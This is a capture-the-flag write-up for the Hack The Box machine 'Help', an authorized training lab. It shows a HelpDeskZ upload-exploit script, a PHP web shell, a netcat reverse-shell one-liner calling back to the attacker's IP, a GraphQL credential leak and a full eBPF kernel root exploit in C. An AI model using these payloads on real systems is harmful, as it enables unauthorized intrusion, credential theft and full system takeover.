Hack The Box - Help

Quick Summary

Hey guys today Help retired and here’s my write-up about it. Help was a nice easy machine, I don’t really have much to say about it. To get an initial shell on the box we will exploit a non-authenticated file upload vulnerability in a web application called HelpDeskZ . This vulnerability could be exploited in two ways either by editing the exploit to include a higher range or by getting credentials to the web app and editing some settings to make the exploit work. After getting a shell the privilege escalation part is just a kernel exploit. It’s a Linux box and its ip is 10.10.10.121 I added it to /etc/hosts as help.htb . Let’s jump right in !



Nmap

As always we will start with nmap to scan for open ports and services :

nmap -sV -sT -sC help.htb



We got ssh on port 22 and http on two ports : 80 and 3000. What’s running on port 80 is an Apache2 server and on port 3000 is Node.js Express Framework .

HTTP Initial Enumeration

On port 80 there’s just the default Apache index page :



So I ran gobuster and got these results :

gobuster -u http://help.htb/ -w /usr/share/wordlists/dirb/common.txt

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

=====================================================

Gobuster v2.0.0 OJ Reeves (@TheColonial)

=====================================================

[+] Mode : dir

[+] Url/Domain : http://help.htb/

[+] Threads : 10

[+] Wordlist : /usr/share/wordlists/dirb/common.txt

[+] Status codes : 200,204,301,302,307,403

[+] Timeout : 10s

=====================================================

2019/06/07 13:03:25 Starting gobuster

=====================================================

/.hta (Status: 403)

/.htpasswd (Status: 403)

/.htaccess (Status: 403)

/index.html (Status: 200)

/javascript (Status: 301)

/server-status (Status: 403)

/support (Status: 301)

=====================================================

2019/06/07 13:05:25 Finished

=====================================================



I went to /support and there was a web application called HelpDeskZ :



File Upload Vulnerability

A quick search and I found an unauthenticated file upload vulnerability that takes advantage of the weak file renaming function that’s responsible for renaming tickets attachments and the ability to upload php files because they are allowed by default.

HelpDeskZ = v1.0.2 suffers from an unauthenticated shell upload vulnerability.

The software in the default configuration allows upload for .php-Files ( !! ). I think the developers thought it was no risk, because the filenames get obfuscated when they are uploaded. However, there is a weakness in the rename function of the uploaded file. -exploit-db

I wanted to test if I can really upload php so I went to Submit a Ticket and I attached a test file :







And I got File is not allowed.

Luckily HelpDeskZ is an open-source application so I checked the source on github.

The script that handles tickets submissions is called new-ticket.php . It can be found in includes/parser .

Here’s the part for the attachments :



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

if (is_array($attachments)){

$save_dir = UPLOAD_DIR;

foreach ($attachments as $attachment) {



$filename = $attachment->filename;



if ($fp = fopen($save_dir.$filename, 'w' )) {

while ($bytes = $attachment->read()) {

fwrite($fp, $bytes);

}

fclose($fp);

}



$filesize = @filesize(UPLOAD_DIR.$filename);

if ($filesize){

$fileinfo = array ( 'name' => $filename, 'size' => $filesize);

$fileverification = verifyAttachment($fileinfo);

if ($fileverification[ 'msg_code' ] == 0 ){

$ext = pathinfo($filename, PATHINFO_EXTENSION);

$filename_encoded = md5($filename.time()). "." .$ext;

$data = array ( 'name' => $filename, 'enc' => $filename_encoded, 'filesize' => $filesize, 'ticket_id' => $ticketid, 'msg_id' => $message_id, 'filetype' => $attachment->content_type);

$db->insert(TABLE_PREFIX. "attachments" , $data);

rename(UPLOAD_DIR.$filename, UPLOAD_DIR. 'tickets/' .$filename_encoded);

} else {

unlink(UPLOAD_DIR.$filename);

}

}

}



It takes the file and uploads it then there’s an if statement that checks the result of passing $fileinfo to a function called verifyAttachment . If the function returned 0 it will rename the file. If it’s not 0 it will delete the file ( unlink(UPLOAD_DIR.$filename) ) . This function can be found in functions.php in includes/ .

verifyAttachment() :



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

function verifyAttachment ($filename) {

global $db;

$namepart = explode( '.' , $filename[ 'name' ]);

$totalparts = count($namepart) -1 ;

$file_extension = $namepart[$totalparts];

if (!ctype_alnum($file_extension)){

$msg_code = 1 ;

} else {

$filetype = $db->fetchRow( "SELECT count(id) AS total, size FROM " .TABLE_PREFIX. "file_types WHERE type='" .$db->real_escape_string($file_extension). "'" );

if ($filetype[ 'total' ] == 0 ){

$msg_code = 2 ;

} elseif ($filename[ 'size' ] > $filetype[ 'size' ] && $filetype[ 'size' ] > 0 ){

$msg_code = 3 ;

$misc = formatBytes($filetype[ 'size' ]);

} else {

$msg_code = 0 ;

}

}

$data = array ( 'msg_code' => $msg_code, 'msg_extra' => $misc);

return $data;

}



This function runs several checks on the file, but interestingly it doesn’t check for allowed file extensions. This means that if the file passed these checks the function will return 0 and the file will be renamed and successfully uploaded no matter what’s the extension of that file and the message that says : File is not allowed. is meaningless.

If we take a look at how the application renames files it gets the md5 hash of the filename concatenated with the time of upload then it concatenates that hash with the original file extension. And that’s how the exploit finds the uploaded file. But there’s a small problem about time, running the exploit on our box would use our local time. If the timezone of the web app is different from the timezone of our box the exploit will fail to find the file because it will use a wrong time.

If we take a look at the exploit :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

import hashlib

import time

import sys

import requests



print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'



if len(sys.argv) < 3 :

print "Usage: {} [baseUrl] [nameOfUploadedFile]" .format(sys.argv[ 0 ])

sys.exit( 1 )



helpdeskzBaseUrl = sys.argv[ 1 ]

fileName = sys.argv[ 2 ]



currentTime = int(time.time())



for x in range( 0 , 300 ):

plaintext = fileName + str(currentTime - x)

md5hash = hashlib.md5(plaintext).hexdigest()



url = helpdeskzBaseUrl+md5hash+ '.php'

response = requests.head(url)

if response.status_code == 200 :

print "found!"

print url

sys.exit( 0 )



print "Sorry, I did not find anything"



We can solve this problem by iterating over a higher range than 300 : for x in range(0, 300)

This will make it try different hashes according to different times until it finds the file, you can call it a bruteforce attack. That will be easy let’s look at another solution. Another solution is to get credentials to login to the web app and edit the timezone in the settings to make it the same as ours.

Node.js, Getting Credentials

We saw earlier that port 3000 was open and running Node.js Express framework and we haven’t looked at that yet.



By going to http://help.htb:3000/ I got this response of a message saying : "Hi Shiv, To get access please find the credentials with given query" , I tried /test and got this :



tbh the next step involved a lot of guessing/fuzzing with custom wordlists and random things based on google searches about node.js , node.js queries and other related stuff. After a lot of attempts to find something when I tried /graphql I got this response :



So I added ?query and got a syntax error :

http://help.htb:3000/graphql?query



That’s fine, I tried requesting a query, for example user :

http://help.htb:3000/graphql?query={user} :



It says that user must have a selection of subfields so I tried username :

http://help.htb:3000/graphql?query={user{username}} :



Great, let’s get the password :

http://help.htb:3000/graphql?query={user{password}} :



I used crackstation to crack the hash and got this password :

5d3c93182bb20f07b994a7f617e99cff : godhelpmeplz

Now we have the credentials : helpme@helpme.com : godhelpmeplz

File Upload Exploitation, Reverse Shell and User Flag

I edited the path of the uploads in the exploit, instead of helpdeskzBaseUrl+md5hash+'.php' I made it :

1

helpdeskzBaseUrl+ '/uploads/tickets/' +md5hash+ '.php'



I got that path from the github repository).

Exploit after edits :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

import hashlib

import time

import sys

import requests



print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'



if len(sys.argv) < 3 :

print "Usage: {} [baseUrl] [nameOfUploadedFile]" .format(sys.argv[ 0 ])

sys.exit( 1 )



helpdeskzBaseUrl = sys.argv[ 1 ]

fileName = sys.argv[ 2 ]



currentTime = int(time.time())



for x in range( 0 , 300 ):

plaintext = fileName + str(currentTime - x)

md5hash = hashlib.md5(plaintext).hexdigest()



url = helpdeskzBaseUrl+ '/uploads/tickets/' +md5hash+ '.php'

response = requests.head(url)

if response.status_code == 200 :

print "found!"

print url

sys.exit( 0 )



print "Sorry, I did not find anything"



I went to the settings and changed the timezone to the same timezone as mine :



The php file I’m going to upload is simple-backdoor.php which can be found in /usr/share/webshells/php/simple-backdoor.php in kali :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

<!-- Simple PHP backdoor by DK (http:







if ( isset ($_REQUEST[ 'cmd' ])){

echo "<pre>" ;

$cmd = ($_REQUEST[ 'cmd' ]);

system($cmd);

echo "</pre>" ;

die ;

}







Usage: http:



<!-- http:



I submitted the ticket :



Then I ran the exploit and it found the file immediately :

python exploit.py http://10.10.10.121/support/ rick.php



1

http://help.htb/support/uploads/tickets/11559b997fcb9a724cbc0e2a6a4b98a3.php



1

http://help.htb/support/uploads/tickets/11559b997fcb9a724cbc0e2a6a4b98a3.php?cmd=whoami





It’s working, let’s get a reverse shell, I used this payload (url encoded) :

1

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f



1

http://help.htb/support/uploads/tickets/11559b997fcb9a724cbc0e2a6a4b98a3.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff







We owned user.

Kernel Exploit, Privilege Escalation and Root Flag

Privilege escalation on this machine was very easy, just a kernel exploit. One of the first things to check after getting a shell is the system info :

uname -a



That kernel version is vulnerable to a local privilege escalation vulnerability and there’s an exploit published for it.

exploit.c :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237











































int sockets[ 2 ];

int mapfd, progfd;



char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"

"\x55\x09\x02\x00\xff\xff\xff\xff"

"\xb7\x00\x00\x00\x00\x00\x00\x00"

"\x95\x00\x00\x00\x00\x00\x00\x00"

"\x18\x19\x00\x00\x03\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00"

"\xbf\x91\x00\x00\x00\x00\x00\x00"

"\xbf\xa2\x00\x00\x00\x00\x00\x00"

"\x07\x02\x00\x00\xfc\xff\xff\xff"

"\x62\x0a\xfc\xff\x00\x00\x00\x00"

"\x85\x00\x00\x00\x01\x00\x00\x00"

"\x55\x00\x01\x00\x00\x00\x00\x00"

"\x95\x00\x00\x00\x00\x00\x00\x00"

"\x79\x06\x00\x00\x00\x00\x00\x00"

"\xbf\x91\x00\x00\x00\x00\x00\x00"

"\xbf\xa2\x00\x00\x00\x00\x00\x00"

"\x07\x02\x00\x00\xfc\xff\xff\xff"

"\x62\x0a\xfc\xff\x01\x00\x00\x00"

"\x85\x00\x00\x00\x01\x00\x00\x00"

"\x55\x00\x01\x00\x00\x00\x00\x00"

"\x95\x00\x00\x00\x00\x00\x00\x00"

"\x79\x07\x00\x00\x00\x00\x00\x00"

"\xbf\x91\x00\x00\x00\x00\x00\x00"

"\xbf\xa2\x00\x00\x00\x00\x00\x00"

"\x07\x02\x00\x00\xfc\xff\xff\xff"

"\x62\x0a\xfc\xff\x02\x00\x00\x00"

"\x85\x00\x00\x00\x01\x00\x00\x00"

"\x55\x00\x01\x00\x00\x00\x00\x00"

"\x95\x00\x00\x00\x00\x00\x00\x00"

"\x79\x08\x00\x00\x00\x00\x00\x00"

"\xbf\x02\x00\x00\x00\x00\x00\x00"

"\xb7\x00\x00\x00\x00\x00\x00\x00"

"\x55\x06\x03\x00\x00\x00\x00\x00"

"\x79\x73\x00\x00\x00\x00\x00\x00"

"\x7b\x32\x00\x00\x00\x00\x00\x00"

"\x95\x00\x00\x00\x00\x00\x00\x00"

"\x55\x06\x02\x00\x01\x00\x00\x00"

"\x7b\xa2\x00\x00\x00\x00\x00\x00"

"\x95\x00\x00\x00\x00\x00\x00\x00"

"\x7b\x87\x00\x00\x00\x00\x00\x00"

"\x95\x00\x00\x00\x00\x00\x00\x00" ;



char bpf_log_buf[LOG_BUF_SIZE];



static int bpf_prog_load ( enum bpf_prog_type prog_type,

const struct bpf_insn *insns, int prog_len,

const char *license, int kern_version) {

union bpf_attr attr = {

.prog_type = prog_type,

.insns = (__u64)insns,

.insn_cnt = prog_len / sizeof (struct bpf_insn),

.license = (__u64)license,

.log_buf = (__u64)bpf_log_buf,

.log_size = LOG_BUF_SIZE,

.log_level = 1 ,

};



attr.kern_version = kern_version;



bpf_log_buf[ 0 ] = 0 ;



return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof (attr));

}



static int bpf_create_map ( enum bpf_map_type map_type, int key_size, int value_size,

int max_entries) {

union bpf_attr attr = {

.map_type = map_type,

.key_size = key_size,

.value_size = value_size,

.max_entries = max_entries

};



return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof (attr));

}



static int bpf_update_elem ( uint64_t key, uint64_t value) {

union bpf_attr attr = {

.map_fd = mapfd,

.key = (__u64)&key,

.value = (__u64)&value,

.flags = 0 ,

};



return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof (attr));

}



static int bpf_lookup_elem ( void *key, void *value) {

union bpf_attr attr = {

.map_fd = mapfd,

.key = (__u64)key,

.value = (__u64)value,

};



return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof (attr));

}



static void __exit( char *err) {

fprintf ( stderr , "error: %s

" , err);

exit ( -1 );

}



static void prep ( void ) {

mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof ( int ), sizeof ( long long ), 3 );

if (mapfd < 0 )

__exit(strerror(errno));



progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,

(struct bpf_insn *)__prog, PROGSIZE, "GPL" , 0 );



if (progfd < 0 )

__exit(strerror(errno));



if (socketpair(AF_UNIX, SOCK_DGRAM, 0 , sockets))

__exit(strerror(errno));



if (setsockopt(sockets[ 1 ], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof (progfd)) < 0 )

__exit(strerror(errno));

}



static void writemsg ( void ) {

char buffer [ 64 ];



ssize_t n = write (sockets[ 0 ], buffer , sizeof ( buffer ));



if (n < 0 ) {

perror( "write" );

return ;

}

if (n != sizeof ( buffer ))

fprintf ( stderr , "short write: %lu

" , n);

}





bpf_update_elem( 0 , (a)); \

bpf_update_elem( 1 , (b)); \

bpf_update_elem( 2 , (c)); \

writemsg();



static uint64_t get_value ( int key) {

uint64_t value;



if (bpf_lookup_elem(&key, &value))

__exit(strerror(errno));



return value;

}



static uint64_t __get_fp( void ) {

__update_elem( 1 , 0 , 0 );



return get_value( 2 );

}



static uint64_t __read( uint64_t addr) {

__update_elem( 0 , addr, 0 );



return get_value( 2 );

}



static void __write( uint64_t addr, uint64_t val) {

__update_elem( 2 , addr, val);

}



static uint64_t get_sp ( uint64_t addr) {

return addr & ~( 0x4000 - 1 );

}



static void pwn ( void ) {

uint64_t fp, sp, task_struct, credptr, uidptr;



fp = __get_fp();

if (fp < PHYS_OFFSET)

__exit( "bogus fp" );



sp = get_sp(fp);

if (sp < PHYS_OFFSET)

__exit( "bogus sp" );



task_struct = __read(sp);



if (task_struct < PHYS_OFFSET)

__exit( "bogus task ptr" );



printf ( "task_struct = %lx

" , task_struct);



credptr = __read(task_struct + CRED_OFFSET);



if (credptr < PHYS_OFFSET)

__exit( "bogus cred ptr" );



uidptr = credptr + UID_OFFSET;

if (uidptr < PHYS_OFFSET)

__exit( "bogus uid ptr" );



printf ( "uidptr = %lx

" , uidptr);

__write(uidptr, 0 );



if (getuid() == 0 ) {

printf ( "spawning root shell

" );

system( "/bin/bash" );

exit ( 0 );

}



__exit( "not vulnerable?" );

}



int main ( int argc, char **argv) {

prep();

pwn();



return 0 ;

}



I ran a python server to host the exploit then I downloaded it on the box :



Then I compiled the exploit and ran it :

gcc -o exploit exploit.c



And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Sizzle

Next Hack The Box write-up : Hack The Box - FluJab